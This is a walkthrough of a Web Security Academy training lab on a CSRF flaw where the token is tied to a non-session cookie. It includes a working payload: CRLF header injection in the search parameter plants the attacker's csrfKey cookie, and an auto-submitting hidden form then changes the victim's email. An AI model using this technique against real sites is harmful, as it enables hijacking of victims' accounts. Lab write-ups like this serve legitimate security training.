LAB 5 - CSRF where token is tied to non-session cookie¶
Initial instructions¶
This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't fully integrated into the site's session handling system.¶
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.¶
You have two accounts on the application that you can use to help design your attack. The credentials are as follows: wiener:peter carlos:montoya¶
First of all lets login with wiener credentials and lets try update its email and intercept this request with Burpsuite.
And I got the following request.

If we try change the csrfKey the website won't accept the request.

Now lets login with the other credentials given. And we will repeat same steps. And I got the following request, so I will take the csrfKey and CSRF from Carlos and modify it from my original request.

Here is my original request updated. If I send it it will be accepted by the server.

If we perform a search this search will be reflected, so I built this request to inject my csrfKey cookie into the victim browser, this will work because search function has no CSRF protection.
This is the payload I used.
Now lets generate a CSRF PoC in our original request. In this CSRF PoC instead of that script block we will replace it for the following.

<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
This is my final request.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a99009a04101700811c7f4c006600cc.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="astro@astro.xyz" />
<input type="hidden" name="csrf" value="vowerRYxwCFaAP1yuQiRxF0PaI8pNpPy" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a99009a04101700811c7f4c006600cc.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=6SnHsakEeqd0Q5gBKxkyfPsgxWo15iSf%3b%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>
So lets send this to the victim.
